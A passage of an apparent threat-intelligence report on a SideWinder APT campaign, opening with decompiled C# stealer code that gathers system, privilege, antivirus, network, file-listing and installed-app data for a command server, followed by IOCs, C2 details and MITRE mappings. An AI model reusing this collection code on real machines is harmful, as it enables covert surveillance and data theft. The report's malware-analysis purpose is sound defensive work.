jsonWriter.WriteEndObject();
}
}
catch (Exception ex)
{
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("error");
jsonWriter.WriteValue(ex.ToString());
jsonWriter.WriteEndObject();
}
jsonWriter.WriteEndArray();
}
// Token: 0x0600002B RID: 43 RVA: 0x000036A4 File Offset: 0x000018A4
private static string GetPath(Guid guid)
{
IntPtr ptr;
if (SysInfo.SHGetKnownFolderPath(ref guid, 0, IntPtr.Zero, out ptr) == 0)
{
string result = Marshal.PtrToStringUni(ptr);
Marshal.FreeCoTaskMem(ptr);
return result;
}
return null;
}
// Token: 0x0600002C RID: 44 RVA: 0x000036D0 File Offset: 0x000018D0
private static void GetAllFiles(string path, List<string> files)
{
try
{
files.AddRange(Directory.GetFiles(path));
string[] directories = Directory.GetDirectories(path);
for (int i = 0; i < directories.Length; i++){SysInfo.GetAllFiles(directories[i], files);}
}
catch{}
}
// Token: 0x0600002D RID: 45 RVA: 0x0000371C File Offset: 0x0000191C
private static void WritePrivileges(JsonTextWriter jsonWriter)
{
jsonWriter.WritePropertyName("privileges");
jsonWriter.WriteStartObject();
try
{
bool flag = false;
bool flag2 = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
if (flag2){flag = true;}
else if (Environment.OSVersion.Version.Major >= 6)
{
int num = Marshal.SizeOf(typeof(int));
IntPtr intPtr = Marshal.AllocHGlobal(num);
try
{
if (!SysInfo.GetTokenInformation(WindowsIdentity.GetCurrent().Token, SysInfo.TokenInformationClass.TokenElevationType, intPtr, num, out num))
{
throw Marshal.GetExceptionForHR(Marshal.GetHRForLastWin32Error());
}
SysInfo.TokenElevationType tokenElevationType = (SysInfo.TokenElevationType)Marshal.ReadInt32(intPtr);
if (tokenElevationType != SysInfo.TokenElevationType.TokenElevationTypeDefault && tokenElevationType - SysInfo.TokenElevationType.TokenElevationTypeFull <= 1){flag = true;}
}
finally{if (intPtr != IntPtr.Zero){Marshal.FreeHGlobal(intPtr);}}
}
jsonWriter.WritePropertyName("IsInAdminGroup");
jsonWriter.WriteValue(flag ? "Yes" : "No");
jsonWriter.WritePropertyName("IsAdminPrivilege");
jsonWriter.WriteValue(flag2 ? "Yes" : "No");
}
catch (Exception ex)
{
jsonWriter.WritePropertyName("error");
jsonWriter.WriteValue(ex.ToString());
}
jsonWriter.WriteEndObject();
}
// Token: 0x0600002E RID: 46 RVA: 0x00003850 File Offset: 0x00001A50
private static void WriteSysInfo(JsonTextWriter jsonWriter)
{
jsonWriter.WritePropertyName("sysInfo");
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("userAccount");
SysInfo.WriteWmi(jsonWriter, "Win32_userAccount", "root\\cimv2", new string[]
{
"name"
});
jsonWriter.WritePropertyName("computerSystem");
SysInfo.WriteWmi(jsonWriter, "Win32_computerSystem", "root\\cimv2", new string[]
{
"Caption",
"UserName",
"Manufacturer",
"Model",
"PrimaryOwnerName",
"TotalPhysicalMemory"
});
jsonWriter.WritePropertyName("antiVirusProduct");
SysInfo.WriteWmi(jsonWriter, "antiVirusProduct", "root\\SecurityCenter2", new string[]
{
"displayName",
"ProductState",
"TimeStamp"
});
jsonWriter.WritePropertyName("antiSpywareProduct");
SysInfo.WriteWmi(jsonWriter, "antiSpywareProduct", "root\\SecurityCenter2", new string[]
{
"displayName",
"ProductState",
"TimeStamp"
});
jsonWriter.WritePropertyName("process");
SysInfo.WriteWmi(jsonWriter, "Win32_process", "root\\cimv2", new string[]
{
"Name",
"CommandLine",
"ProcessOwner"
});
jsonWriter.WritePropertyName("processor");
SysInfo.WriteWmi(jsonWriter, "Win32_processor", "root\\cimv2", new string[]
{
"Caption",
"Name",
"Architecture",
"NumberOfCores",
"NumberOfLogicalProcessors",
"ProcessorId",
"CurrentClockSpeed",
"MaximumClockSpeed",
"DataWidth"
});
jsonWriter.WritePropertyName("operatingSystem");
SysInfo.WriteWmi(jsonWriter, "Win32_operatingSystem", "root\\cimv2", new string[]
{
"Caption",
"version",
"RegisteredUser",
"BuildNumber",
"ServicePackMajorVersion",
"ServicePackMinorVersion",
"OSArchitecture",
"OSProductSuite"
});
jsonWriter.WritePropertyName("timeZone");
SysInfo.WriteWmi(jsonWriter, "Win32_timeZone", "root\\cimv2", new string[]
{
"Caption",
"description",
"StandardName"
});
jsonWriter.WritePropertyName("quickFixEngineering");
SysInfo.WriteWmi(jsonWriter, "Win32_quickFixEngineering", "root\\cimv2", new string[]
{
"HotFixID",
"Description",
"InstalledOn"
});
jsonWriter.WritePropertyName("network");
jsonWriter.WriteStartArray();
try
{
foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
{
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("name");
jsonWriter.WriteValue(networkInterface.Name);
jsonWriter.WritePropertyName("description");
jsonWriter.WriteValue(networkInterface.Description);
jsonWriter.WritePropertyName("networkInterfaceType");
jsonWriter.WriteValue(networkInterface.NetworkInterfaceType.ToString());
jsonWriter.WritePropertyName("operationalStatus");
jsonWriter.WriteValue(networkInterface.OperationalStatus.ToString());
jsonWriter.WritePropertyName("speed");
jsonWriter.WriteValue(networkInterface.Speed);
jsonWriter.WritePropertyName("macAddress");
jsonWriter.WriteValue(BitConverter.ToString(networkInterface.GetPhysicalAddress().GetAddressBytes()));
IPInterfaceProperties ipproperties = networkInterface.GetIPProperties();
if (networkInterface.Supports(NetworkInterfaceComponent.IPv4))
{
jsonWriter.WritePropertyName("isDhcpEnabled");
jsonWriter.WriteValue(ipproperties.GetIPv4Properties().IsDhcpEnabled);
}
jsonWriter.WritePropertyName("dhcpServers");
jsonWriter.WriteStartArray();
foreach (IPAddress ipaddress in ipproperties.DhcpServerAddresses){jsonWriter.WriteValue(ipaddress.ToString());}
jsonWriter.WriteEndArray();
jsonWriter.WritePropertyName("dnsAddresses");
jsonWriter.WriteStartArray();
foreach (IPAddress ipaddress2 in ipproperties.DnsAddresses){jsonWriter.WriteValue(ipaddress2.ToString());}
jsonWriter.WriteEndArray();
jsonWriter.WritePropertyName("winsAddresses");
jsonWriter.WriteStartArray();
foreach (IPAddress ipaddress3 in ipproperties.WinsServersAddresses){jsonWriter.WriteValue(ipaddress3.ToString());}
jsonWriter.WriteEndArray();
jsonWriter.WritePropertyName("gatewayAddresses");
jsonWriter.WriteStartArray();
foreach (GatewayIPAddressInformation gatewayIPAddressInformation in ipproperties.GatewayAddresses){jsonWriter.WriteValue(gatewayIPAddressInformation.Address.ToString());}
jsonWriter.WriteEndArray();
jsonWriter.WritePropertyName("ipAddresses");
jsonWriter.WriteStartArray();
foreach (UnicastIPAddressInformation unicastIPAddressInformation in ipproperties.UnicastAddresses)
{
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("address");
jsonWriter.WriteValue(unicastIPAddressInformation.Address.ToString());
AddressFamily addressFamily = unicastIPAddressInformation.Address.AddressFamily;
if (addressFamily != AddressFamily.InterNetwork)
{
if (addressFamily == AddressFamily.InterNetworkV6)
{
jsonWriter.WritePropertyName("prefixOrigin");
jsonWriter.WriteValue(unicastIPAddressInformation.PrefixOrigin.ToString());
}
}
else
{
jsonWriter.WritePropertyName("subnetMask");
jsonWriter.WriteValue(unicastIPAddressInformation.IPv4Mask.ToString());
}
jsonWriter.WriteEndObject();
}
jsonWriter.WriteEndArray();
jsonWriter.WriteEndObject();
}
}
catch (Exception ex)
{
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("error");
jsonWriter.WriteValue(ex.ToString());
jsonWriter.WriteEndObject();
}
jsonWriter.WriteEndArray();
jsonWriter.WriteEndObject();
}
// Token: 0x0600002F RID: 47 RVA: 0x00003EDC File Offset: 0x000020DC
private static void WriteDirectoryListing(JsonTextWriter jsonWriter)
{
jsonWriter.WritePropertyName("dirList");
jsonWriter.WriteStartArray();
try
{
foreach (string text in new List<string>
{
SysInfo.GetPath(SysInfo.Desktop),
SysInfo.GetPath(SysInfo.Documents),
SysInfo.GetPath(SysInfo.Downloads),
SysInfo.GetPath(SysInfo.Contacts)
})
{
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName(text);
jsonWriter.WriteStartArray();
if (Directory.Exists(text))
{
List<string> list = new List<string>();
SysInfo.GetAllFiles(text, list);
foreach (string text2 in list){jsonWriter.WriteValue(text2);}
}
jsonWriter.WriteEndArray();
jsonWriter.WriteEndObject();
}
}
catch (Exception ex){
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("error");
jsonWriter.WriteValue(ex.ToString());
jsonWriter.WriteEndObject();
}
jsonWriter.WriteEndArray();
}
// Token: 0x06000030 RID: 48 RVA: 0x00004028 File Offset: 0x00002228
private static void WriteDriveInfo(JsonTextWriter jsonWriter)
{
jsonWriter.WritePropertyName("driveInfo");
jsonWriter.WriteStartArray();
try
{
foreach (DriveInfo driveInfo in DriveInfo.GetDrives())
{
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("Path");
jsonWriter.WriteValue(driveInfo.Name);
jsonWriter.WritePropertyName("type");
jsonWriter.WriteValue(driveInfo.DriveType.ToString());
jsonWriter.WritePropertyName("isReady");
jsonWriter.WriteValue(driveInfo.IsReady);
if (driveInfo.IsReady)
{
jsonWriter.WritePropertyName("TotalSize");
jsonWriter.WriteValue(driveInfo.TotalSize);
jsonWriter.WritePropertyName("FreeSpace");
jsonWriter.WriteValue(driveInfo.TotalFreeSpace);
jsonWriter.WritePropertyName("availableFreeSpace");
jsonWriter.WriteValue(driveInfo.AvailableFreeSpace);
jsonWriter.WritePropertyName("driveFormat");
jsonWriter.WriteValue(driveInfo.DriveFormat);
jsonWriter.WritePropertyName("volumeLabel");
jsonWriter.WriteValue(driveInfo.VolumeLabel);
}
jsonWriter.WriteEndObject();
}
}
catch (Exception ex)
{
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("error");
jsonWriter.WriteValue(ex.ToString());
jsonWriter.WriteEndObject();
}
jsonWriter.WriteEndArray();
}
// Token: 0x06000031 RID: 49 RVA: 0x00004180 File Offset: 0x00002380
private static void WriteInstalledApps(JsonTextWriter jsonWriter)
{
jsonWriter.WritePropertyName("installedApps");
jsonWriter.WriteStartArray();
try
{
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall"))
{
foreach (string name in registryKey.GetSubKeyNames())
{
using (RegistryKey registryKey2 = registryKey.OpenSubKey(name))
{
if (registryKey2 != null)
{
string text = registryKey2.GetValue("DisplayName") as string;
if (text != null)
{
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("Name");
jsonWriter.WriteValue(text);
jsonWriter.WritePropertyName("Version");
jsonWriter.WriteValue(registryKey2.GetValue("DisplayVersion"));
jsonWriter.WriteEndObject();
}
}
}
}
}
}
catch (Exception ex)
{
jsonWriter.WriteStartObject();
jsonWriter.WritePropertyName("error");
jsonWriter.WriteValue(ex.ToString());
jsonWriter.WriteEndObject();
}
jsonWriter.WriteEndArray();
}
// Token: 0x06000032 RID: 50 RVA: 0x0000429C File Offset: 0x0000249C
public static void WriteTo(Stream s)
{
JsonTextWriter jsonTextWriter = new JsonTextWriter(new StreamWriter(s, Encoding.UTF8));
jsonTextWriter.WriteStartObject();
SysInfo.WritePrivileges(jsonTextWriter);
SysInfo.WriteSysInfo(jsonTextWriter);
SysInfo.WriteDirectoryListing(jsonTextWriter);
SysInfo.WriteDriveInfo(jsonTextWriter);
SysInfo.WriteInstalledApps(jsonTextWriter);
jsonTextWriter.WriteEndObject();
jsonTextWriter.Flush();
}
// Token: 0x04000014 RID: 20
private static readonly Guid Contacts = new Guid("{56784854-C6CB-462B-8169-88E350ACB882}");
// Token: 0x04000015 RID: 21
private static readonly Guid Desktop = new Guid("{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}");
// Token: 0x04000016 RID: 22
private static readonly Guid Documents = new Guid("{FDD39AD0-238F-46AF-ADB4-6C85480369C7}");
// Token: 0x04000017 RID: 23
private static readonly Guid Downloads = new Guid("{374DE290-123F-4565-9164-39C4925E467B}");
// Token: 0x04000018 RID: 24
private static readonly Guid Favorites = new Guid("{1777F761-68AD-4D8A-87BD-30B759FA33DD}");
// Token: 0x04000019 RID: 25
private static readonly Guid Links = new Guid("{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}");
// Token: 0x0400001A RID: 26
private static readonly Guid Music = new Guid("{4BD8D571-6D19-48D3-BE97-422220080E43}");
// Token: 0x0400001B RID: 27
private static readonly Guid Pictures = new Guid("{33E28130-4E1E-4676-835A-98395C3BC3BB}");
// Token: 0x0400001C RID: 28
private static readonly Guid SavedGames = new Guid("{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}");
// Token: 0x0400001D RID: 29
private static readonly Guid SavedSearches = new Guid("{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}");
// Token: 0x0400001E RID: 30
private static readonly Guid Videos = new Guid("{18989B1D-99B5-455B-841C-AB7C74E4DDFC}");
// Token: 0x0200000C RID: 12
private enum TokenInformationClass
{
// Token: 0x0400002B RID: 43
TokenUser = 1,
// Token: 0x0400002C RID: 44
TokenGroups,
// Token: 0x0400002D RID: 45
TokenPrivileges,
// Token: 0x0400002E RID: 46
TokenOwner,
// Token: 0x0400002F RID: 47
TokenPrimaryGroup,
// Token: 0x04000030 RID: 48
TokenDefaultDacl,
// Token: 0x04000031 RID: 49
TokenSource,
// Token: 0x04000032 RID: 50
TokenType,
// Token: 0x04000033 RID: 51
TokenImpersonationLevel,
// Token: 0x04000034 RID: 52
TokenStatistics,
// Token: 0x04000035 RID: 53
TokenRestrictedSids,
// Token: 0x04000036 RID: 54
TokenSessionId,
// Token: 0x04000037 RID: 55
TokenGroupsAndPrivileges,
// Token: 0x04000038 RID: 56
TokenSessionReference,
// Token: 0x04000039 RID: 57
TokenSandBoxInert,
// Token: 0x0400003A RID: 58
TokenAuditPolicy,
// Token: 0x0400003B RID: 59
TokenOrigin,
// Token: 0x0400003C RID: 60
TokenElevationType,
// Token: 0x0400003D RID: 61
TokenLinkedToken,
// Token: 0x0400003E RID: 62
TokenElevation,
// Token: 0x0400003F RID: 63
TokenHasRestrictions,
// Token: 0x04000040 RID: 64
TokenAccessInformation,
// Token: 0x04000041 RID: 65
TokenVirtualizationAllowed,
// Token: 0x04000042 RID: 66
TokenVirtualizationEnabled,
// Token: 0x04000043 RID: 67
TokenIntegrityLevel,
// Token: 0x04000044 RID: 68
TokenUiAccess,
// Token: 0x04000045 RID: 69
TokenMandatoryPolicy,
// Token: 0x04000046 RID: 70
TokenLogonSid,
// Token: 0x04000047 RID: 71
MaxTokenInfoClass
}
// Token: 0x0200000D RID: 13
private enum TokenElevationType
{
// Token: 0x04000049 RID: 73
TokenElevationTypeDefault = 1,
// Token: 0x0400004A RID: 74
TokenElevationTypeFull,
// Token: 0x0400004B RID: 75
TokenElevationTypeLimited
}
}
2019-12-28 01:23:19 +00:00
}
```
2019-12-27 13:09:56 +00:00
<h2>Threat Intelligence</h2><a name="Intel"></a></h2>
2019-12-28 17:14:15 +00:00
<h3> Files push in Appdata<a name="Files"></a></h3>
2019-12-28 21:29:59 +00:00
###### The stealer stock in the disk multiples files with differents results of the operations performs on the computer :
2019-12-28 17:14:15 +00:00
+ A file with a sif extension :
###### This content the system and user account informations steal by the backdoor and which send to the C2 when the connection is etablish (JSON file).
![alt text](https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/11-10-2019/Pictures/October%202019/ext1.png)
+ Another file with the fls extension :
2019-12-28 21:29:59 +00:00
###### A second JSON file which content the list of the path of the document to steal and push on the C2.
2019-12-28 17:14:15 +00:00
![alt text](https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/11-10-2019/Pictures/October%202019/ext2.png)
###### A file with the extension flc is used by the process as debug for the edition of the fls file.
![alt text](https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/11-10-2019/Pictures/October%202019/extunsed.png)
2019-12-28 21:29:59 +00:00
<h6>For resume, the list of extension and roles of the files dropped in the computer :</h6>
2019-12-28 17:14:15 +00:00
|Extension|Data|
| :---------------: | :---------------: |
|.sif|System informations of the victim|
|.flc|List of the files on the computer|
|.fls|List of the files selected to send to the C2|
|.err|Common extension for throws an exeception in the current process of crawling of informations and data|
2019-12-28 21:29:59 +00:00
###### The C2 domain is the only one recorded on the IP hosted for the operations and probably active since late October 2019. An interesting thing to relate at the C2 in India is this waits generally a month before the operations, which would go back to the beginnings of the operation in mid-December.
2019-12-28 17:14:15 +00:00
|Hostname|IP|Route|ASN|Organization|Country|City|Coordinates|
| :---------------: | :---------------: | :---------------: | :---------------: |:---------------: |:---------------: |:---------------: |:---------------: |
|no-rdns.mivocloud.com|185.225.17.40| 185.225.16.0/22|AS39798|MivoCloud|Romania|Iaşi|47.1667,27.6000|
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/whois.PNG">
</p>
<h3> Military activities in India <a name="Military"></a></h3>
<h6> The year 2019 was bad for India, constantly attacked by Pakistan, China and North Korea on these different production environments and on these industrial secrets like aerospace, aviation and the energy sector for example. Recently, a series of military exercises by India take place as reported by <a href="https://twitter.com/detresfa_">detresfa_</a>:</h6>
2019-12-28 14:51:30 +00:00
<ul>
<li>https://twitter.com/detresfa_/status/1207638846483005440</li>
<li>https://twitter.com/detresfa_/status/1205876465029414913</li>
<li>https://twitter.com/detresfa_/status/1204020783132987392</li>
<li>https://twitter.com/detresfa_/status/1203213226462154752</li>
</ul>
2019-12-28 21:29:59 +00:00
<h6>India seems to resume activities by trapping these too curious people with a document weaponized with the content of an old security measure of 2017 (the content of the document can be viewed <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Indian/APT/SideWinder/25-12-19/Ressources/content_Policy_on_Embedded_Systems.txt">here</a>).</h6>
2019-12-28 14:51:30 +00:00
2019-12-27 13:09:56 +00:00
<h2> Cyber kill chain <a name="Cyber-kill-chain"></a></h2>
<h6>The process graph resume cyber kill chains used by the attacker :</h6>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/Cyber.png">
</p>
<h2> Indicators Of Compromise (IOC) <a name="IOC"></a></h2>
<h6> List of all the Indicators Of Compromise (IOC)</h6>
|Indicator|Description|
| ------------- |:-------------:|
2019-12-28 19:03:25 +00:00
|c733dba9451c632c19aaad8d1de61e905dac88453b0839e8900777e121de1755|1.a|
|87882b884afd4bd6d4da1fb5e3f87d728f128f75fae32a2720fe899ac7f23f5d|Policy on Embedded Systems.rtf|
|957a7b669d73ed4219fca89ebc5d49739f530f6df5828ef48bec900bd132ff9b|Policy on Embedded Systems.rtf.LNK|
|eced0cc93d6e244dce7533168dbb5aec896f8d05959e498c47a8a02dd8221d6f|bGAzMs.tmp|
|e8910fc0736187889b27011848baf12ffbc306aa2fcb487451cab5af58d96c62|Duser.bin|
|185.225.17.40|IP C2|
|ap1-acl.net|Domain C2|
<h6> The IOC can be exported in <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Indian/APT/SideWinder/25-12-19/JSON/IOC.json">JSON</a></h6>
2019-12-27 13:09:56 +00:00
<h2> References MITRE ATT&CK Matrix <a name="Ref-MITRE-ATTACK"></a></h2>
|Enterprise tactics|Technics used|Ref URL|
| :---------------: |:-------------| :------------- |
|Execution|Execution through Module Load<br>Exploitation for Client Execution|https://attack.mitre.org/techniques/T1129/<br>https://attack.mitre.org/techniques/T1203/|
|Persistence|Registry Run Keys / Startup Folder|https://attack.mitre.org/techniques/T1060/|
2019-12-28 17:14:15 +00:00
|Credential Access|Credentials in Files|https://attack.mitre.org/techniques/T1081/|
2019-12-27 13:09:56 +00:00
|Discovery|Query Registry|https://attack.mitre.org/techniques/T1012/|
<h6> This can be exported as JSON format <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Indian/APT/SideWinder/25-12-19/JSON/MITRE_ref.json">Export in JSON</a></h6>
<h2>Yara Rules<a name="Yara"></a></h2>
2019-12-28 19:03:25 +00:00
<h6> YARA Rules are available <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Indian/APT/SideWinder/25-12-19/Yara/Yara_Rule_SideWinder_Dec19.yar">here</a></h6>
2019-12-27 13:09:56 +00:00
<h2>Knowledge Graph<a name="Knowledge"></a></h2><a name="Know"></a>
2019-12-28 21:29:59 +00:00
<h6>The following diagram shows the relationships of the techniques used by the group and their corresponding malwares :</h6>
2019-12-27 13:09:56 +00:00
<p align="center">
2019-12-28 21:29:59 +00:00
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/know_GRAPH.png">
2019-12-27 13:09:56 +00:00
</p>
<h2>Links <a name="Links"></a></h2>
<h6> Original tweet: </h6><a name="tweet"></a>
* [https://twitter.com/RedDrip7/status/1206898954383740929](https://twitter.com/RedDrip7/status/1206898954383740929)
<h6> Links Anyrun: <a name="Links-Anyrun"></a></h6>
* [Policy on Embedded Systems.doc](https://app.any.run/tasks/1fac2867-012c-4298-af36-a4810d9b72db)
2019-12-28 21:29:59 +00:00
* [ref_dll_APT_Sidewinder-25-12-19.dll](https://app.any.run/tasks/254d5bf1-2680-4bdd-855b-1d6bb2822c2a)
2019-12-27 13:09:56 +00:00
<h6> Resources : </h6><a name="Ressources"></a>
* [The SideWinder campaign continue](https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Indian/APT/SideWinder/11-10-2019/Analysis.md)
2019-12-28 17:14:15 +00:00
* [CVE-2017-11882](https://github.com/embedi/CVE-2017-11882)
2019-12-27 23:00:17 +00:00
* [A repo for matching on known c2 and exfil traffic keywords](https://github.com/silence-is-best/c2db)